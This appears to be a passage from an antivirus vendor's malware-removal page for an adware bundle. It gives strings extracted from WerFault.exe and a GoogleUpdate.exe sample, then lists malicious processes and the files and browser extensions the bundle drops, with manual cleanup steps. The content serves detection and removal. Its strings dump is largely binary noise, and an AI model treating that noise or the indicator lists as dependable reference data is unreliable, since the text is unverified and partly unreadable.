NtQueryInformationProcess failed with status: 0x%x
Reporting never started for process id %u
StringCchPrintf failed with 0x%x
NtWow64QueryInformationProcess64 failed with 0x%x
NtWow64ReadVirtualMemory64 failed with 0x%x
NtQueryInformationProcess failed with status 0x%x
WerpNtWow64QueryInformationProcess64 failed with status 0x%x
StringCchCopy failed with 0x%x
Invalid arg in %s
wdi.dll
dbgeng.dll
dbghelp.dll
SETUPAPI.dll
SHELL32.dll
VERSION.dll
WTSAPI32.dll
WerFault.pdb
PSShD
tSSh,<T
t.PSj6
t5SSh
SShx`T
tsShxcT
t.Ph0jT
_amsg_exit
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegEnumKeyExW
RegQueryInfoKeyW
GetProcessHeap
GetWindowsDirectoryW
RegDeleteKeyW
ReportEventW
RegOpenKeyW
RegSetKeyValueW
GetProcessWindowStation
EnumWindows
NtAlpcSendWaitReceivePort
NtAlpcConnectPort
ShipAssert
ntdll.dll
RegisterErrorReportingDialog
WerReportSubmit
WerReportAddFile
WerReportCreate
WerReportCloseHandle
WerReportSetUIOption
WerpGetReportConsent
WerpSetIntegratorReportId
WerpReportCancel
WerpAddRegisteredDataToReport
WerReportAddDump
WerpCreateIntegratorReportId
WerpSetReportFlags
WerpGetReportFlags
WerpIsTransportAvailable
WerReportSetParameter
WerpInitiateCrashReporting
version="1.0.0.0"
name="Microsoft.Windows.Feedback.Watson"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
<asmv3:windowsSettings xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">
</asmv3:windowsSettings>
<requestedExecutionLevel
ÝCD0
#$$$3355<
##$$$335566
% "#$$$3355666=
"#$$33555666
!.DQ$
.Py>o
Kÿg
.ib:?
T3%X_
a,M.cbd
KEYW8
KEYWH
? ?$?(?,?0?4?8?
1 2$2(2,20242
>,?0?4?8?<?@?
?%?5?:?|?
5'565^5{5
3#3(353_3
=#='= =/=3=7=;=?=
=#=(=>=]=
>!>&>3>}>
1!1&131[1
Microsoft\Windows\WindowsErrorReporting\WerFault
%s %s
Global\WerKernelVerticalReporting
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl
CrashDumpEnabled.Old
CrashDumpEnabled.New
%SystemRoot%\MEMORY.DMP
LiveKernelReports
Software\Microsoft\Windows\Windows Error Reporting\LiveKernelReports
LiveKernelReportsPath
BCCode=%x&BCP1=%p&BCP2=%p&BCP3=%p&BCP4=%p&OS Version=%u_%u_%u&Service Pack=%u_%u&Product=%u_%u
*WerKernelReporting
%SYSTEMROOT%\SYSTEM32\WerFault.exe -k -rq
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
SOFTWARE\Microsoft\Windows\Windows Error Reporting\KernelFaults\Queue
sysdata.xml
%s -k -q
SOFTWARE\Microsoft\Windows NT\CurrentVersion
<OSVER>%u.%u.%u %u.%u</OSVER>
<OSLANGUAGE>%u</OSLANGUAGE>
<ARCHITECTURE>%u</ARCHITECTURE>
<PRODUCTTYPE>%u</PRODUCTTYPE>
<FILESIZE>%u</FILESIZE>
<CREATIONDATE>d-d-d d:d:d</CREATIONDATE>
<NAME>%s</NAME>
<DATA>%s</DATA>
<ERROR>Failed at Step: %s with error 0x%x</ERROR>
%sDrivers\%s.sys
</%s>
<%s>%s</%s>
%u.%u.%u.%u
*.mrk
WER-%u-%u.sysdata.xml
Software\Microsoft\Windows\CurrentVersion\CEIPRole\RolesInWER
SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability\MemoryDiagnostic
Web Server
Software\Microsoft\Windows\Windows Error Reporting\Debug
%SystemRoot%\Minidump
0xx (0xx, 0xx, 0xx, 0xx)
%s\%2.2d%2.2d%2.2d-%u-%2.2d.dmp
*.dmp
Software\Microsoft\Windows\Windows Error Reporting
Software\Policies\Microsoft\Windows\Windows Error Reporting
\KernelObjects\SystemErrorPortReady
%s\%s
Microsoft.Windows.Setup
\WindowsErrorReportingServicePort
(0x%x): %s
%u %s
WindowsNTVersion
%u.%u
ErrorPort
\StringFileInfo\xx\%s
HKEY_USERS\
HKEY_CURRENT_CONFIG\
HKEY_CLASSES_ROOT\
HKEY_LOCAL_MACHINE\
HKEY_CURRENT_USER\
%s="%s"
%s.%s
%s %d
Software\Microsoft\Windows\Windows Error Reporting\Hangs
_NT_EXECUTABLE_IMAGE_PATH
wxmu.dmp
wxhu.dmp
axmu.dmp
axhu.dmp
hu.kdmp
mu.kdmp
hu.dmp
mu.dmp
Software\Microsoft\.NETFramework
NOT_TCPIP
sos.dll
Uversion.xml
.version.xml
%s.xml
memory.hdmp
minidump.mdmp
Local\WERReportingForProcess%d
atk.kdmp
Software\Microsoft\Windows\Windows Error Reporting\Hangs\NHRTimes
%i|%d|%d
xxxxxxxxxxxxxxxx
xx
%d.%d.%d.%d
WD:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)
D:P(A;;GA;;;BA)(A;;GA;;;SY)(A;;GA;;;%s)S:(ML;;NR;;;HI)
V.ref
dc.noreflect
dc.xpmemdump
dc.xpdata
dc.CustomDump
dc.expmodmem
dc.expmoddata
dc.OnDemandKdmp
dc.xpmodmem
dc.xpmoddata
default=%s
memory=%s
module=%s
.dbgcfg.ini
ElevatedDataCollectionStatus.txt
Open process failed unexpectedly: 0X%X
Attempting to cross-proc reporting process!
Elevation:Administrator!new:%s
Reflection attempt failed: 0X%X
Attempting to reflect reporting process!
Could not collect dump for reflection cross process: 0x%x
Could not collect xproc for reflection: 0x%x
CollectFile for reflection failed: 0x%x
Could not collect dump for cross process: 0x%x
CollectReflectionDump failed with: 0x%x
0 processes found for xproc module: %s
Could not collect cross dump from module: 0x%x
CollectCrossProcessModuleDumps failed: 0x%x
CollectCrossProcessDumps failed: 0x%x
KernelDump failed: 0x%x
ProcessHandle
%s|%s
rpcrt4
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
sntdll.dll
WerDiagController.dll
Software\Microsoft\Windows\Windows Error Reporting\Plugins
Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
Software\Microsoft\Windows\Windows Error Reporting\Plugins\FDR\CurrentSession
%s\%s\%u-%u.etl
%s\%s\%u-%u.etl_%d
Microsoft\Windows\FDR
%s-%d
Software\Microsoft\Windows\Windows Error Reporting\Plugins\DriverVerifier
Software\Microsoft\Windows\Windows Error Reporting\Plugins\AppRecorder
%d-AppRecorderEnabled
V%s /stop
psr.exe
Software\Microsoft\Windows\Windows Error Reporting\RuntimeExceptionHelperModules
verifier.dll
nVerifier.dll
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s
Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
lsvchost.exe
"%s" "%s" "%s"
%s\system32\cofire.exe
psapi.dll
sfc_os.dll
werfault.exe
%s\%s-(PID-%u)-%u
%s\%s-(PID-%u).dmp
%s\*-(PID-*)-*
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\%s
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
kernel32.dll
kernelbase.dll
ReportingMode
TWinShipAssert
WindowsMessageReportingB1
Windows
ws2_32.dll
Software\Microsoft\SQMClient\%s\AdaptiveSqm\ManifestInfo
%s\Sqm%d.bin
CorporateWerPortNumber
BypassDataThrottling
Software\Microsoft\Windows\Windows Error Reporting\Consent
Windows Problem Reporting
6.1.7600.16385 (win7_rtm.090713-1255)
WerFault.exe
Windows
Operating System
6.1.7600.16385
Microsoft-Windows-WER-Diag/Operational

GoogleUpdate.exe_2692:




.text
`.data
.text/DE
@.rsrc
@.reloc
SHELL32.dll
USER32.dll
SHLWAPI.dll
mscoree.dll
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
.mixcrt
KERNEL32.DLL
kernel32.dll
GetProcessWindowStation
USER32.DLL
GoogleUpdate_unsigned.pdb
RegOpenKeyExW
ADVAPI32.dll
KERNEL32.dll
GetProcessHeap
GetCPInfo
<requestedExecutionLevel level="asInvoker" />
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
<!--The ID below indicates application support for Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!--The ID below indicates application support for Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
###7777_{
###____777
###````87{
%Program Files% (x86)\Google\Update\GoogleUpdate.exe
goopdate.dll
GoogleUpdate.exe
Software\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}
1.3.21.103
2007-2010
2007-2010






Remove it with Ad-Aware




    

  1. Click (here) to download and install Ad-Aware Free Antivirus.
    2. 

  2. Update the definition files.
    3. 

  3. Run a full scan of your computer.
    4. 





Manual removal*




    

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):
    

    WerFault.exe:4080
    WerFault.exe:3372
    ClientToMobilePlatform.exe:4432
    aints.exe:2172
    aints.exe:2244
    aints.exe:3748
    YTAHelper.exe:3100
    smt_istartsurf.exe:3364
    ShopperPro.exe:1372
    ProtectWindowsManager.exe:3340
    ProtectWindowsManager.exe:3288
    INS_IWEBAR.EXE:1452
    Rkkjgqolih.exe:3432
    ProtectService.exe:3824
    ProtectService.exe:3704
    %original file name%.exe:2364
    nsj5ED3.tmp:4264
    wpm_v20.0.0.2227.exe:3324
    biclient.exe:1708
    biclient.exe:2524
    ChromeSync.exe:1568
    WebProtectPD.exe:2604
    WebProtectPD.exe:5044
    WebProtectPD.exe:1056
    ins_yta.exe:2200
    QQBrowser.exe:212
    QQBrowser.exe:3520
    testlsp.exe:1900
    setup.exe:2380
    HPNotify.exe:3916
    XTab_Setup2253.exe:3356
    cmdshell.exe:3892
    GLJ979E.tmp:928
    WebProtectorPlus.exe:3164
    WebProtectorPlus.exe:4876
    WebProtectorPlus.exe:1388
    nsyE0A0.tmp:1600
    uinst.exe:3036
    uinst.exe:2812
    powershell.exe:2380
    powershell.exe:3292
    powershell.exe:992
    ein.exe:3824
    ein.exe:1924
    ein.exe:2488
    a802e32e-c834-41ba-9f76-26b80ade37d5-4.exe:4328
    ins_shopperpro.exe:4048
    Hibqtpj.exe:3784
    regsvr32.exe:4040
    regsvr32.exe:3964
    regsvr32.exe:1864
    regsvr32.exe:3672
    regsvr32.exe:3296
    regsvr32.exe:1900
    lspinst.exe:3116
    lspinst.exe:3220
    YTAHEL~1.EXE:2700
    d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.exe:4340
    DCytaiesmt_smtyc_setup.exe:4044
    DCytaiesmt_smtyc_setup.exe:908
    DCytaiesmt_smtyc_setup.exe:2436
    DCytaiesmt_smtyc_setup.exe:1904
    DCytaiesmt_smtyc_setup.exe:3252
    DCytaiesmt_smtyc_setup.exe:3652
    spbiu.exe:4008
    spbiu.exe:3456
    wscript.exe:2396
    nso63A4.tmp:3200
    YouTubeAcceleratorService.exe:1776
    YouTubeAcceleratorService.exe:2800
    YouTubeAcceleratorService.exe:3688
    GLB9730.tmp:2764
    BF77.tmp:1588
    INS_SENSE.EXE:3792
    taskeng.exe:3560
    ctmpua.exe:712
    ytaiesmt_smtyc_setup.exe:3196
    jsdrv.exe:2700
    

    2. 

  2. Delete the original Application file.
    3. 

  3. Delete or disinfect the following files created/modified by the Application:
    

    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0ff8e935\Report.wer (239510 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0d25c448\Report.wer (239502 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp9EEE.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\gcadapter.dll (6108 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp9EEE.tmp\nsisFirewall.dll (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ctmpua.exe (17674 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiFA76.tmp\nsExec.dll (14 bytes)
    %Program Files% (x86)\WebProtectorPlus\SetupVista64.bat (458 bytes)
    %Program Files% (x86)\WebProtectorPlus\Setup32.bat (457 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnFA46.tmp (12336 bytes)
    %Program Files% (x86)\WebProtectorPlus\SetupVista32.bat (449 bytes)
    %Program Files% (x86)\WebProtectorPlus\SetupOld32.bat (429 bytes)
    %Program Files% (x86)\WebProtectorPlus\uninstall.exe (1028 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiFA76.tmp\System.dll (23 bytes)
    %Program Files% (x86)\WebProtectorPlus\SetupOld64.bat (438 bytes)
    %Program Files% (x86)\WebProtectorPlus\uninst.bat (135 bytes)
    %Program Files% (x86)\WebProtectorPlus\verdata (16 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Web Protector Plus\Uninstall.lnk (1 bytes)
    %Program Files% (x86)\WebProtectorPlus\Setup64.bat (470 bytes)
    %Program Files% (x86)\WebProtectorPlus\WebProtectorPlus.exe (9573 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj7668.tmp (12336 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso7688.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso7688.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu737B.tmp (12336 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz739B.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz739B.tmp\nsExec.dll (14 bytes)
    C:\ProgramData\YTAHelper\config.json (269 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\overlay.xul (203 bytes)
    C:\ProgramData\YTAHelper\yta_database1_0_0.json (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
    %Program Files% (x86)\YTAHelper\config.json (269 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\install.rdf (884 bytes)
    C:\ProgramData\YTAHelper\YTAHelper.dll (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\config.json (269 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (9 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\chrome.manifest (111 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\yta_database1_0_0.json (2 bytes)
    C:\ProgramData\YTAHelper\YTAHelper64.dll (3073 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{4C59F3E5-BBD0-4344-8DD2-30866FA0B31E}\content\YTAHelper_64.png (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\QQBrowserFrame.dll (3616 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\conf (79 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json (512 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe (3312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\eg1.zip (193473 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe (10136 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\sweetsearch!1.0.0.1031.xpi (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\eg2.zip (320557 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\DataBase (26688 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\scrollbar.bmp (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\bg.png (5064 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\quick_searchff#5.4.10.xpi (6360 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\Thumbs.db (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe (12024 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db (304 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code6.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\QQBrowser.exe (5199 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\uninstallDlg2.xml (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\UninstallManager.exe (60186 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\Thumbs.db (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe (76078 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe (3616 bytes)
    C:\ProgramData\ShopperPro\config.json (487 bytes)
    C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
    %Program Files% (x86)\ShopperPro\config.json (1254 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.exe (22786 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (487 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\config.json (767 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\jsdrv.sys (52 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1812\database1_0_0.ej (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
    C:\ProgramData\ShopperPro\database1_0_0.ej (14 bytes)
    C:\ProgramData\ShopperPro\ShopperPro64.dll (3361 bytes)
    C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\up[1].htm (1 bytes)
    C:\ProgramData\WindowsMangerProtect\update\conf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\mhuec.dll (2136 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\dkhbofocf.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\Jalky.tmp (367431 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\lwfjntrs.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyF759.tmp\Rkkjgqolih.exe (3020301 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFC78.tmp (602804 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\tvahk.dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\vmgvmcqqh.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
    %Program Files% (x86)\iWebar\a802e32e-c834-41ba-9f76-26b80ade37d5.xpi (2321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\gtexax.dll (3410 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\a802e32e-c834-41ba-9f76-26b80ade37d5-4.dll (42762 bytes)
    %Program Files% (x86)\iWebar\Uninstall.exe (601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ipgeoapi_com[1].json (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\fkhxrm.dll (29131 bytes)
    C:\Windows\Tasks\a802e32e-c834-41ba-9f76-26b80ade37d5-5_user.job (74 bytes)
    %Program Files% (x86)\iWebar\utils.exe (62101 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\xgyszng.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\67083 (90704 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\405104 (3117 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\mxexzbq.dll (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\dkhbofocf.dll (23 bytes)
    C:\Windows\Tasks\a802e32e-c834-41ba-9f76-26b80ade37d5-5.job (74 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\lwfjntrs.dll (30 bytes)
    %Program Files% (x86)\iWebar\a802e32e-c834-41ba-9f76-26b80ade37d5-5.exe (7433 bytes)
    %Program Files% (x86)\iWebar\a802e32e-c834-41ba-9f76-26b80ade37d5-4.exe (8706 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoFC98.tmp\System.dll (808 bytes)
    %Program Files% (x86)\XTab\msvcp110.dll (536 bytes)
    %Program Files% (x86)\XTab\msvcr110.dll (876 bytes)
    %Program Files% (x86)\XTab\CmdShell.exe (32 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nscE7CF.tmp (7452 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1900_testlsp.log_tmp (991 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF0E8.tmp (50 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1F3.tmp (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\SMALLTEST[1].htm (70 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF11B.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (879 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_3572.log_tmp (13 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF12E.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_3856.log_tmp (493 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1BD.tmp (242 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF119.tmp (1 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\wbkF1CE.tmp (682 bytes)
    C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1900_testlsp.log_tmp (22 bytes)
